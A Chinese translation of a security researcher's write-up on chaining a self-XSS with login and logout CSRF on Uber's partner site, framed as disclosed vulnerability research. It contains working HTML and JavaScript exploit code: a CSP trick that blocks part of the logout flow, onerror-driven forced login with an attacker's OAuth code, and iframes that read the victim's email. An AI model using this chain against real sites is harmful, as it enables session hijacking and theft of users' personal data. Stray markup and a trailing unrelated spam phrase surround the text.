<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/web/14035

            0x00 簡介


            作者通過精心設計,將一個雞肋的的self-XSS和兩個雞肋的csrf變成了一個高質量的漏洞。

            原文:
            https://fin1te.net/articles/uber-turning-self-xss-into-good-xss/

            在Uber一個設置個人信息的頁面上,我找到一個非常簡單且經典的XSS漏洞。設置項中隨便修改一個字段為<script>alert(document.domain);</script>就可以執行并彈框。

            uber-partners-xss-1-1

            uber-partners-xss-1-1

            一共花了兩分鐘找到這個漏洞,但是我們要來點更有意思的。

            0x01 self-XSS


            可以在網頁中運行外界可控的任意JS腳本就被稱為XSS漏洞,這時候你一般可以去讀取其他用戶的Cookies,或者發出一些請求。但是如果你只能對自己做這些,而不是其他用戶,比如這段代碼只會在你能看到的頁面里面運行,這就被稱為self-XSS。這種情況下,即使我們發現了漏洞,也很難去影響其他人。

            我猶豫了一會,但是我后來決定試試,看能不能去掉這個"self"。

            0x02 Uber OAuth 登錄流程


            Ubser的OAuth登錄流程也是很經典的

            uber-partners-xss-2

            從上面的截圖你可以看到,OAuth的回調地址/oauth/callback?code=...并沒有使用標準推薦的state參數,這意味著登錄功能存在CSRF的問題,但是不好說會不會造成嚴重的問題。

            同時,在退出登錄的地方也有一個CSRF漏洞,當然這一般不會認為是漏洞。訪問/logout會清除用戶partner.uber.com的session,然后再重定向到login.uber.com的退出登錄頁面,清除login.uber.com的session。

            因為我們的payload只存在于自己的賬號中,我們可以讓其他用戶登錄進我們的賬號,然后payload就會執行,不過登錄我們的賬號會清除他們之前所有的session,這就讓漏洞大打折扣了。所以我們要把漏洞放在一起利用。

            0x03 捆綁利用漏洞


            我們的計劃就是這樣的了

            第一步 只在一個域名退出登錄

            首先發送一個請求到https://partners.uber.com/logout/,然后就可以登錄我們的賬號了。但是問題在于退出登錄的重定向最終會到達https://login.uber.com/logout/,導致另外一個域名也退出登錄。我們能不能控制呢?

            我的方法就是使用Content Security Police來設置可以加載的域名。我只設置了允許請求partners.uber.comlogin.uber.com就會被瀏覽器攔截。

            #!html
            <!-- 設置CSP策略阻止訪問 login.uber.com -->
            <meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
            <!-- 退出登錄 partners.uber.com -->
            <img src="https://partners.uber.com/logout/">
            

            這樣是可以的,CSP會有下面的提示

            uber-partners-xss-3

            第二步 登錄我的賬號

            這一步相對來說簡單了一些,我們向https://partners.uber.com/login/發送一個請求(這一步是必須的,否則我們沒法接收到回調)。上面我們用了CSP的trick來阻止部分流程,這里我們就需要用我自己的code來讓用戶登錄了。

            因為CSP會觸發onerror,我們就可以在那里面跳轉到下一步了。

            #!html
            <!-- CSP策略會阻止訪問 login.uber.com -->
            <meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
            <!-- 退出登錄 partners.uber.com,在跳轉到login.iber.com的時候觸發onerror -->
            <img src="https://partners.uber.com/logout/" onerror="login();">
            <script>
                //初始化登錄
                var login = function() {
                    var loginImg = document.createElement('img');
                    loginImg.src = 'https://partners.uber.com/login/';
                    loginImg.onerror = redir;
                }
                //用我們的code登錄
                var redir = function() {
                    // 為了方便測試,code放在url hash中,實際需要動態的獲取
                    var code = window.location.hash.slice(1);
                    var loginImg2 = document.createElement('img');
                    loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
                    loginImg2.onerror = function() {
                        window.location = 'https://partners.uber.com/profile/';
                    }
                }
            </script>
            

            第三步 回到原來的賬號

            這一部分的代碼將會有XSS的payload,在我的賬號中。

            只要payload一運行,就可以切換回原來的賬號了。這個必須在iframe中,因為需要保持payload一直運行。

            #!js
            // 創建一個iframe,讓用戶退出登錄我的賬號
            var loginIframe = document.createElement('iframe');
            loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
            document.body.appendChild(loginIframe);
            

            iframe里面還是用CSP的trick

            #!js
            <meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
            <img src="https://partners.uber.com/logout/" onerror="redir();">
            <script>
                //使用用戶login.uber.com的session重新登錄
                var redir = function() {
                    window.location = 'https://partners.uber.com/login/';
                };
            </script>
            

            最后一部分是創建另外一個iframe,這樣可以獲取一些數據了

            #!js
            //等待幾秒,加載個人信息頁面,這是用戶原始的信息
            setTimeout(function() {
                var profileIframe = document.createElement('iframe');
                profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
                profileIframe.setAttribute('id', 'pi');
                document.body.appendChild(profileIframe);
                //提取email信息
                profileIframe.onload = function() {
                    var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
                    var matches = /value="([^"]+)" name="email"/.exec(d);
                    alert(matches[1]);
                }
            }, 9000);
            

            因為我們最終的這個iframe是在個人信息頁面加載的,是同源的,而且X-Frame-Options也是設置的sameorigin而不是deny,所以我們使用contentWindow是可以訪問到里面的內容的。

            uber-partners-xss-5

            綜合在一起

            這個漏洞很有意思,啟發我們要在一個更高的層面去挖掘和思考安全漏洞。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线